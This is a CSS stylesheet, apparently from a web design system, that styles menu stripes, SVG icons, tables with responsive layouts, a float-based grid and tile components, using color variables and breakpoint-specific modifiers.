.menu-stripe__description--success {
color: var(--success-text-color,#096b35)
}
.menu-stripe__description--warning {
color: var(--warning-text-color,#c36b00)
}
.menu-stripe__description--critical {
color: var(--critical-text-color,#c80a00)
}
.menu-stripe__description--neutral {
color: var(--neutral-text-color,#465a75)
}
.menu-stripe__description--activating {
color: var(--activating-text-color,#007e9c)
}
.menu-stripe__description--promoting {
color: var(--promoting-text-color,#560e8a)
}
.menu-stripe__description--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__description--bright {
color: var(--white,#fff)
}
.menu-stripe__description.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.menu-stripe__description.exos-icon--bright:before {
color: var(--white,#fff)
}
.menu-stripe__description.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.menu-stripe__description.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.menu-stripe__description.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.menu-stripe__description.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.menu-stripe__description.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.menu-stripe__description.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__description.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.menu-stripe__description--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.menu-stripe__description--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__description--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.menu-stripe__description--large-nowrap {
white-space:nowrap
}
}
.menu-stripe__description--break-all {
word-break: break-all
}
.menu-stripe__description--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.menu-stripe__description--small-break-all {
word-break:break-all
}
.menu-stripe__description--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__description--medium-break-all {
word-break:break-all
}
.menu-stripe__description--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.menu-stripe__description--large-break-all {
word-break:break-all
}
.menu-stripe__description--large-break-word {
word-break: break-word
}
}
.menu-stripe__description--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.menu-stripe__description--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__description--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.menu-stripe__description--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.menu-stripe__action {
color: var(--default-text-color,#001b41);
display: block;
line-height: 1.5em;
text-align: right
}
@media only screen and (max-width: 666px) {
.menu-stripe__action {
text-align:left
}
}
.menu-stripe__action--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.menu-stripe__action--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__action--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.menu-stripe__action--small-hidden {
display:none
}
}
.menu-stripe__action--success {
color: var(--success-text-color,#096b35)
}
.menu-stripe__action--warning {
color: var(--warning-text-color,#c36b00)
}
.menu-stripe__action--critical {
color: var(--critical-text-color,#c80a00)
}
.menu-stripe__action--neutral {
color: var(--neutral-text-color,#465a75)
}
.menu-stripe__action--activating {
color: var(--activating-text-color,#007e9c)
}
.menu-stripe__action--promoting {
color: var(--promoting-text-color,#560e8a)
}
.menu-stripe__action--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__action--bright {
color: var(--white,#fff)
}
.menu-stripe__action.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.menu-stripe__action.exos-icon--bright:before {
color: var(--white,#fff)
}
.menu-stripe__action.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.menu-stripe__action.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.menu-stripe__action.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.menu-stripe__action.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.menu-stripe__action.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.menu-stripe__action.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__action.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.menu-stripe__action--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.menu-stripe__action--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__action--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.menu-stripe__action--large-nowrap {
white-space:nowrap
}
}
.menu-stripe__action--break-all {
word-break: break-all
}
.menu-stripe__action--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.menu-stripe__action--small-break-all {
word-break:break-all
}
.menu-stripe__action--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__action--medium-break-all {
word-break:break-all
}
.menu-stripe__action--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.menu-stripe__action--large-break-all {
word-break:break-all
}
.menu-stripe__action--large-break-word {
word-break: break-word
}
}
.menu-stripe__action--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.menu-stripe__action--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__action--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.menu-stripe__action--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
.headless-mode .menu-stripe--headless-hidden {
display: none
}
}
.svg-icon {
height: 16px;
width: 16px
}
.svg-icon--small {
height: 14px;
width: 14px
}
.svg-icon--large {
height: 20px;
width: 20px
}
.svg-icon--larger {
height: 24px;
width: 24px
}
.svg-icon--disabled {
cursor: not-allowed;
opacity: .38
}
.svg-icon--activating circle,.svg-icon--activating ellipse,.svg-icon--activating line,.svg-icon--activating path,.svg-icon--activating polygon,.svg-icon--activating polyline,.svg-icon--activating rect {
fill: var(--activating-text-color,#007e9c)
}
.svg-icon--success circle,.svg-icon--success ellipse,.svg-icon--success line,.svg-icon--success path,.svg-icon--success polygon,.svg-icon--success polyline,.svg-icon--success rect {
fill: var(--success-text-color,#096b35)
}
.svg-icon--warning circle,.svg-icon--warning ellipse,.svg-icon--warning line,.svg-icon--warning path,.svg-icon--warning polygon,.svg-icon--warning polyline,.svg-icon--warning rect {
fill: var(--warning-text-color,#c36b00)
}
.svg-icon--critical circle,.svg-icon--critical ellipse,.svg-icon--critical line,.svg-icon--critical path,.svg-icon--critical polygon,.svg-icon--critical polyline,.svg-icon--critical rect {
fill: var(--critical-text-color,#c80a00)
}
.svg-icon--promoting circle,.svg-icon--promoting ellipse,.svg-icon--promoting line,.svg-icon--promoting path,.svg-icon--promoting polygon,.svg-icon--promoting polyline,.svg-icon--promoting rect {
fill: var(--promoting-text-color,#560e8a)
}
.svg-icon--corporate circle,.svg-icon--corporate ellipse,.svg-icon--corporate line,.svg-icon--corporate path,.svg-icon--corporate polygon,.svg-icon--corporate polyline,.svg-icon--corporate rect {
fill: var(--corporate-text-color,#0b2a63)
}
.svg-icon--neutral circle,.svg-icon--neutral ellipse,.svg-icon--neutral line,.svg-icon--neutral path,.svg-icon--neutral polygon,.svg-icon--neutral polyline,.svg-icon--neutral rect {
fill: var(--neutral-text-color,#465a75)
}
.svg-icon--bright circle,.svg-icon--bright ellipse,.svg-icon--bright line,.svg-icon--bright path,.svg-icon--bright polygon,.svg-icon--bright polyline,.svg-icon--bright rect {
fill: var(--white,#fff)
}
.svg-icon--primary circle,.svg-icon--primary ellipse,.svg-icon--primary line,.svg-icon--primary path,.svg-icon--primary polygon,.svg-icon--primary polyline,.svg-icon--primary rect {
fill: var(--primary-text-color,#02102b)
}
.svg-icon--secondary circle,.svg-icon--secondary ellipse,.svg-icon--secondary line,.svg-icon--secondary path,.svg-icon--secondary polygon,.svg-icon--secondary polyline,.svg-icon--secondary rect {
fill: var(--secondary-text-color,#465a75)
}
.svg-icon--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.svg-icon--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.svg-icon--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.svg-icon--small-hidden {
display:none
}
}
.table {
background: var(--white,#fff);
border: var(--table-border,1px solid #bcc8d4);
border-collapse: separate;
border-radius: var(--default-border-radius,16px);
box-shadow: var(--table-shadow,0 1px 2px 0 #718095);
margin-bottom: 32px;
margin-top: 1px;
table-layout: fixed;
width: 100%
}
.table--cropped {
margin-bottom: 0
}
@media only screen and (max-width: 666px) {
.table {
border-radius:var(--small-border-radius,8px)
}
}
.table--page-context {
background: transparent;
border: none;
border-radius: 0;
box-shadow: none
}
@media only screen and (max-width: 666px) {
.table--page-context {
border-radius:0
}
}
.table__caption {
color: var(--default-text-color,#001b41);
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
font-size: var(--fourth-level-headline-size,14px);
padding: 12px 8px 16px;
text-transform: uppercase
}
@media only screen and (max-width: 666px) {
.table__caption {
border-left:none;
border-right: none;
box-shadow: inset 0 -1px 0 0 var(--tertiary-shape-color,#bcc8d4)
}
}
.table--borderless .table__caption {
border-bottom: none
}
.table__header {
background-color: var(--table-header-background-color,#f4f7fa);
box-shadow: inset 0 -1px 0 0 var(--tertiary-shape-color,#bcc8d4);
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-regular,"OverpassRegular",arial,arial narrow,sans-serif)
}
.table--page-context .table__header {
background: transparent
}
.table--page-context .table__header--secondary {
background-color: var(--hovered-table-row-background-color,#dbe2e8)
}
.table--borderless .table__header {
box-shadow: none
}
.table__footer {
border-top: 1px solid var(--tertiary-text-color,#718095);
color: var(--secondary-text-color,#465a75);
font-size: var(--small-text-size,12px);
letter-spacing: .05em;
line-height: 1.5em
}
.table__row {
box-shadow: inset 0 -1px 0 0 var(--tertiary-shape-color,#bcc8d4)
}
.table__row:hover {
background-color: var(--hovered-table-row-background-color,#dbe2e8)
}
.table__row:last-child {
box-shadow: none
}
.table__row--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.table__row--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.table__row--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.table__row--small-hidden {
display:none
}
}
.table__row--success,.table__row--success:last-child {
box-shadow: inset 0 1px 0 0 var(--success-shape-color,#0fa954),inset 0 -1px 0 0 var(--success-shape-color,#0fa954)
}
.table__row--success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row--success:last-child {
border-bottom-left-radius:8px;
border-bottom-right-radius: 8px
}
}
.table__row--warning,.table__row--warning:last-child {
box-shadow: inset 0 1px 0 0 var(--warning-shape-color,#fa0),inset 0 -1px 0 0 var(--warning-shape-color,#fa0)
}
.table__row--warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row--warning:last-child {
border-bottom-left-radius:8px;
border-bottom-right-radius: 8px
}
}
.table__row--critical,.table__row--critical:last-child {
box-shadow: inset 0 1px 0 0 var(--critical-shape-color,#f50c00),inset 0 -1px 0 0 var(--critical-shape-color,#f50c00)
}
.table__row--critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row--critical:last-child {
border-bottom-left-radius:8px;
border-bottom-right-radius: 8px
}
}
.table__row--neutral,.table__row--neutral:last-child {
box-shadow: inset 0 1px 0 0 var(--neutral-shape-color,#718095),inset 0 -1px 0 0 var(--neutral-shape-color,#718095)
}
.table__row--neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row--neutral:last-child {
border-bottom-left-radius:8px;
border-bottom-right-radius: 8px
}
}
.table__row--activating,.table__row--activating:last-child {
box-shadow: inset 0 1px 0 0 var(--activating-shape-color,#11c7e6),inset 0 -1px 0 0 var(--activating-shape-color,#11c7e6)
}
.table__row--activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row--activating:last-child {
border-bottom-left-radius:8px;
border-bottom-right-radius: 8px
}
}
.table__row--corporate,.table__row--corporate:last-child {
box-shadow: inset 0 1px 0 0 var(--corporate-shape-color,#001b41),inset 0 -1px 0 0 var(--corporate-shape-color,#001b41)
}
.table__row--corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row--corporate:last-child {
border-bottom-left-radius:8px;
border-bottom-right-radius: 8px
}
}
.table__row--promoting,.table__row--promoting:last-child {
box-shadow: inset 0 1px 0 0 var(--promoting-shape-color,#b410e7),inset 0 -1px 0 0 var(--promoting-shape-color,#b410e7)
}
.table__row--promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row--promoting:last-child {
border-bottom-left-radius:8px;
border-bottom-right-radius: 8px
}
}
.table__row--success {
background-color: var(--success-background-color,#fff)
}
.table__row--warning {
background-color: var(--warning-background-color,#fff)
}
.table__row--critical {
background-color: var(--critical-background-color,#fff)
}
.table__row--neutral {
background-color: var(--neutral-background-color,#fff)
}
.table__row--activating {
background-color: var(--activating-background-color,#fff)
}
.table__row--corporate {
background-color: var(--corporate-background-color,#fff)
}
.table__row--promoting {
background-color: var(--promoting-background-color,#fff)
}
@media only screen and (min-width: 1185px) {
.table--borderless .table__row {
box-shadow:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.table--borderless .table__row {
box-shadow:none
}
}
@media only screen and (max-width: 666px) {
.table--borderless:not(.table--responsive) .table__row {
box-shadow:none
}
}
.table--page-context .table__row:hover {
background-color: var(--default-background-color,#f4f7fa)
}
.table--borderless .table__row:hover {
background-color: inherit
}
.table__row--disabled {
cursor: not-allowed;
opacity: .5
}
.table__row--disabled,.table__row--disabled:hover {
background-color: var(--neutral-background-color,#fff)
}
.table__row--disabled .table__cell .button,.table__row--disabled .table__cell .context-menu,.table__row--disabled .table__cell .link,.table__row--disabled .table__cell .toggle-button,.table__row--disabled .table__cell .toggle-link {
cursor: not-allowed;
pointer-events: none
}
.table__cell {
box-sizing: border-box;
padding: 12px 8px 11px;
text-align: left;
vertical-align: top
}
.table__cell:first-child {
padding-left: 16px
}
.table__cell:last-child {
padding-right: 16px
}
.table__cell--align-center {
justify-content: center;
text-align: center
}
.table__cell--align-left {
justify-content: flex-start;
text-align: left
}
.table__cell--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.table__cell--large-align-center {
justify-content:center;
text-align: center
}
.table__cell--large-align-left {
justify-content: flex-start;
text-align: left
}
.table__cell--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.table__cell--medium-align-center {
justify-content:center;
text-align: center
}
.table__cell--medium-align-left {
justify-content: flex-start;
text-align: left
}
.table__cell--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.table__cell--small-align-center {
justify-content:center;
text-align: center
}
.table__cell--small-align-left {
justify-content: flex-start;
text-align: left
}
.table__cell--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.table__cell--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.table__cell--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.table__cell--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.table__cell--small-hidden {
display:none
}
}
.table__cell--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.table__cell--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.table__cell--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.table__cell--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.table__cell--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.table__cell--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.table__cell--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.table__cell--large-nowrap {
white-space:nowrap
}
}
.table__cell--break-all {
word-break: break-all
}
.table__cell--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.table__cell--small-break-all {
word-break:break-all
}
.table__cell--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.table__cell--medium-break-all {
word-break:break-all
}
.table__cell--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.table__cell--large-break-all {
word-break:break-all
}
.table__cell--large-break-word {
word-break: break-word
}
}
.table__cell--checkbox {
max-width: 38px;
min-width: 38px;
width: 38px
}
.table__cell--checkbox label {
padding-left: 0
}
.table__cell--indented {
padding-left: 40px
}
.table__cell--indented .exos-icon {
margin-left: -32px;
position: absolute
}
.table__cell--flyout {
position: relative;
text-align: right;
width: 80px
}
.table__cell--flyout .context-menu__list {
right: 16px
}
.table__cell--highlighted {
background-color: var(--highlighted-table-cell-background-color,#dbe2e8)
}
.table__cell--vertical-align-bottom {
vertical-align: bottom
}
.table__cell--vertical-align-center {
vertical-align: middle
}
.table__cell--vertical-align-top {
vertical-align: top
}
.table__cell .exos-icon:not(.table__selection-close) {
font-size: 16px;
margin-right: 8px;
text-decoration: none;
vertical-align: middle
}
.table__footer .table__cell {
box-sizing: border-box;
padding: 12px 8px 11px;
text-align: left;
vertical-align: top
}
.table__footer .table__cell:first-child {
padding-left: 16px
}
.table__footer .table__cell:last-child {
padding-right: 16px
}
.table--condensed .table__cell {
padding: 7px 5px
}
.table__header .table__cell {
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
text-transform: uppercase;
vertical-align: middle
}
.table__header .table__cell:first-child {
border-top-left-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__header .table__cell:first-child {
border-top-left-radius:var(--small-border-radius,8px)
}
}
.table__header .table__cell:last-child {
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__header .table__cell:last-child {
border-top-right-radius:var(--small-border-radius,8px)
}
}
.table--condensed .table__cell:first-child {
padding-left: 10px
}
.table--condensed .table__cell:last-child {
padding-right: 10px
}
.table--borderless .table__cell:first-child {
padding-left: 0
}
.table--borderless .table__cell:last-child {
padding-right: 0
}
.table__row:last-child .table__cell:first-child {
border-bottom-left-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row:last-child .table__cell:first-child {
border-bottom-left-radius:var(--small-border-radius,8px)
}
}
.table__row:last-child .table__cell:last-child {
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table__row:last-child .table__cell:last-child {
border-bottom-right-radius:var(--small-border-radius,8px)
}
}
.table__row--selection td.table__cell {
vertical-align: middle
}
.table--page-context .table__header .table__cell:first-child {
border-top-left-radius: 0
}
@media only screen and (max-width: 666px) {
.table--page-context .table__header .table__cell:first-child {
border-top-left-radius:0
}
}
.table--page-context .table__header .table__cell:last-child {
border-top-right-radius: 0
}
@media only screen and (max-width: 666px) {
.table--page-context .table__header .table__cell:last-child {
border-top-right-radius:0
}
}
.table--page-context .table__row:last-child .table__cell:first-child {
border-bottom-left-radius: 0
}
@media only screen and (max-width: 666px) {
.table--page-context .table__row:last-child .table__cell:first-child {
border-bottom-left-radius:0
}
}
.table--page-context .table__row:last-child .table__cell:last-child {
border-bottom-right-radius: 0
}
@media only screen and (max-width: 666px) {
.table--page-context .table__row:last-child .table__cell:last-child {
border-bottom-right-radius:0
}
}
.table__checkbox {
margin-left: 0
}
.table__checkbox+label {
right: 1px;
top: -1px
}
.table__check-all {
margin-left: 0
}
.table__row--disabled .table__checkbox+label {
cursor: not-allowed;
pointer-events: none
}
.table__selection-button,.table__selection-text {
display: inline-block;
margin-bottom: 6px;
margin-top: 6px
}
.table__selection-close {
color: var(--interactive-text-color,#1474c4);
cursor: pointer;
display: inline-block;
float: right;
font-size: 20px;
padding-top: 14px
}
.table__toolbar {
background-color: var(--table-toolbar-background-color,#f4f7fa);
border: var(--table-toolbar-border,1px solid #bcc8d4);
border-bottom: 0;
border-radius: var(--default-border-radius,16px) var(--default-border-radius,16px) 0 0;
box-shadow: var(--table-toolbar-shadow,0 1px 2px 0 #718095);
margin-bottom: var(--table-toolbar-bottom-spacing,-16px);
padding: var(--table-toolbar-padding,24px 16px);
position: relative
}
.table__toolbar:after {
clear: both;
content: "";
display: table
}
.table__toolbar--page-context {
background-color: transparent;
border: none
}
.table__toolbar+.table {
border-top-left-radius: 0;
border-top-right-radius: 0
}
@media only screen and (max-width: 666px) {
.table__toolbar {
border-radius:var(--small-border-radius,8px) var(--small-border-radius,8px) 0 0;
padding: 16px 16px 32px
}
}
.table-search {
background-color: var(--white,#fff);
border: var(--table-border,1px solid #bcc8d4);
border-radius: var(--default-border-radius,16px);
box-shadow: var(--table-shadow,0 1px 2px 0 #718095);
margin-bottom: 32px;
position: relative
}
@media only screen and (max-width: 666px) {
.table-search {
border-radius:var(--small-border-radius,8px);
margin-bottom: 16px
}
}
.table-search__section {
margin-bottom: 0;
padding: 24px 16px
}
.table-search__section:last-of-type {
border-radius: 0 0 var(--default-border-radius,16px) var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.table-search__section:last-of-type {
border-radius:0 0 var(--small-border-radius,8px) var(--small-border-radius,8px)
}
}
.table-search__section--secondary {
background-color: var(--default-background-color,#f4f7fa)
}
.table-search__section--separator {
border: 0;
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
margin: 0
}
.table-search__section section>:last-child,.table-search__section>:last-child {
margin-bottom: 0
}
.table-layout-toggle {
color: var(--tertiary-shape-color,#bcc8d4);
cursor: pointer;
font-size: var(--third-level-headline-size,16px);
padding: 3px;
text-decoration: none;
vertical-align: middle
}
.table-layout-toggle:first-child {
margin-left: 5px
}
.table-layout-toggle--active,.table-layout-toggle:active,.table-layout-toggle:focus,.table-layout-toggle:hover {
color: var(--interactive-text-color,#1474c4)
}
.table-layout-toggle .reveal-title-by-hover {
cursor: pointer
}
@media only screen and (max-width: 666px) {
.table--responsive {
margin-bottom:16px;
position: relative
}
.table--responsive,.table--responsive .table__caption,.table--responsive .table__cell,.table--responsive .table__row,.table--responsive tbody,.table--responsive tfoot {
display: block
}
.table--responsive .table__row--hidden,.table--responsive thead {
display: none
}
.table--responsive .table__row {
position: relative
}
.table--responsive .table__cell,.table--responsive .table__cell:first-child,.table--responsive .table__cell:last-child {
padding: 8px 16px 8px 40%;
width: auto
}
.table--responsive .table__cell:before {
left: 16px;
overflow: hidden;
position: absolute;
text-overflow: ellipsis;
text-transform: uppercase;
width: 33%
}
.table--responsive .table__cell:not(.table__cell--checkbox) {
overflow: hidden;
text-overflow: ellipsis
}
.table--responsive .table__cell--checkbox {
left: -27px;
position: absolute;
z-index: 1
}
.table--responsive .table__cell--flyout {
padding-top: 8px;
position: absolute;
right: 0;
top: 6px
}
.table--responsive .table__cell--flyout .context-menu__list {
right: 0
}
.table--responsive .table__row--feedback .table__cell,.table--responsive .table__row--selection .table__cell {
padding-left: 16px
}
.table--responsive .table__row--selectable .table__cell {
padding-left: 43%
}
.table--responsive .table__row--selectable .table__cell:before {
left: 40px;
width: 30%
}
.table--responsive .table__row--selectable .table__cell--checkbox {
left: 0;
padding-left: 16px;
position: absolute;
z-index: 1
}
.table--responsive .table__cell--checkbox:first-child+.table__cell,.table--responsive .table__cell:first-child {
padding-top: 16px
}
.table--responsive .table__cell:not(.table__cell--flyout):last-child,.table--responsive .table__row--has-flyout .table__cell:nth-last-child(2) {
padding-bottom: 16px
}
.table--responsive .table__row--has-flyout .table__cell--checkbox:first-child+.table__cell,.table--responsive .table__row--has-flyout .table__cell:not(.table__cell--checkbox):first-child {
margin-right: 32px
}
.headless-mode .table--headless-hidden {
display: none
}
}
.toggle-link+.table {
margin-top: 24px
}
@media only screen and (max-width: 666px) {
.toggle-link+.table {
margin-top:12px
}
}
.grid-01 {
width: 8.33333%
}
.grid-01,.grid-02 {
box-sizing: border-box;
float: left;
min-height: 1px
}
.grid-02 {
width: 16.66667%
}
.grid-03 {
width: 25%
}
.grid-03,.grid-04a {
box-sizing: border-box;
float: left;
min-height: 1px
}
.grid-04a {
width: 27.5%
}
.grid-04 {
width: 33.33333%
}
.grid-04,.grid-05 {
box-sizing: border-box;
float: left;
min-height: 1px
}
.grid-05 {
width: 41.66667%
}
.grid-06 {
width: 50%
}
.grid-06,.grid-07 {
box-sizing: border-box;
float: left;
min-height: 1px
}
.grid-07 {
width: 58.33333%
}
.grid-08 {
width: 66.66667%
}
.grid-08,.grid-08a {
box-sizing: border-box;
float: left;
min-height: 1px
}
.grid-08a {
width: 72.5%
}
.grid-09 {
width: 75%
}
.grid-09,.grid-10 {
box-sizing: border-box;
float: left;
min-height: 1px
}
.grid-10 {
width: 83.33333%
}
.grid-11 {
float: left;
width: 91.66667%
}
.grid-11,.grid-12 {
box-sizing: border-box;
min-height: 1px
}
.grid-12 {
float: none;
width: auto
}
.grid-12:after {
clear: both;
content: "";
display: table
}
.tile {
background-color: var(--tile-background-color,transparent);
border: var(--tile-border,1px solid #bcc8d4);
border-radius: var(--default-border-radius,16px);
box-shadow: var(--tile-shadow,0 1px 2px 0 #718095);
box-sizing: border-box;
color: var(--interactive-text-color,#1474c4);
display: block;
margin-bottom: 30px;
padding: 16px;
position: relative;
text-align: center;
text-decoration: none;
transition: all .1s ease-out
}
.tile.__hover,.tile:active,.tile:focus,.tile:hover {
background-color: var(--hovered-tile-background-color,transparent);
border: var(--hovered-tile-border,1px solid #bcc8d4);
box-shadow: var(--hovered-tile-shadow,0 2px 8px 0 #718095);
color: var(--interactive-text-color,#1474c4);
cursor: pointer;
outline: 0 none
}
.tile:active {
-webkit-transform: scale(.98);
transform: scale(.98)
}
.tile:link,.tile:visited {
outline: 0 none
}
.tile--filled {
background-color: var(--filled-tile-background-color,#fff);
border: var(--filled-tile-border,1px solid #bcc8d4);
box-shadow: var(--filled-tile-shadow,0 1px 2px 0 #718095);
height: 100%
}
.tile--filled.__hover,.tile--filled:active,.tile--filled:focus,.tile--filled:hover {
background-color: var(--hovered-filled-tile-background-color,#fff);
border: var(--hovered-filled-tile-border,1px solid #bcc8d4);
box-shadow: var(--hovered-filled-tile-shadow,0 2px 8px 0 #718095)
}
.tile--inline {
display: inline-block
}
.tile--horizontal {
display: grid;
grid-auto-columns: auto minmax(0,1fr);
grid-template-areas: "visual label" "visual description";
min-height: 80px;
text-align: left
}
.tile--horizontal.tile--inline {
display: inline-grid
}
.tile--outlined {
background-color: var(--outlined-tile-background-color,transparent);
border: var(--outlined-tile-border,1px solid #0b2a63);
box-shadow: var(--outlined-tile-shadow,0 1px 2px 0 #718095)
}
.tile--outlined:hover {
background-color: var(--hovered-outlined-tile-background-color,#fff);
border: var(--hovered-outlined-tile-border,1px solid #0b2a63);
box-shadow: var(--hovered-outlined-tile-shadow,0 2px 8px 0 #718095)
}
.tile--bright {
background-color: var(--bright-tile-background-color,transparent);
border: var(--bright-tile-border,1px solid #fff);
box-shadow: var(--bright-tile-shadow,0 1px 2px 0 #718095)
}
.tile--bright:hover {
background-color: var(--hovered-bright-tile-background-color,hsla(0,0%,100%,.15));
border: var(--hovered-bright-tile-border,1px solid #fff);
box-shadow: var(--hovered-bright-tile-shadow,0 2px 8px 0 #718095)
}
.tile--growing {
flex-grow: 1
}
@media only screen and (max-width: 666px) {
.tile {
border-radius:var(--small-border-radius,8px)
}
}
.tile--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.tile--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.tile--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.tile--small-hidden {
display:none
}
}
.tile--primary {
background-color: var(--primary-background-color,#fff)
}
.tile--secondary {
background-color: var(--secondary-background-color,#fff)
}
.tile--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.tile--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.tile--advertising>.headline,.tile--advertising>.paragraph {
color: var(--white,#fff)
}
.tile--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.tile--beta>.headline,.tile--beta>.paragraph {
color: var(--white,#fff)
}
.tile--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
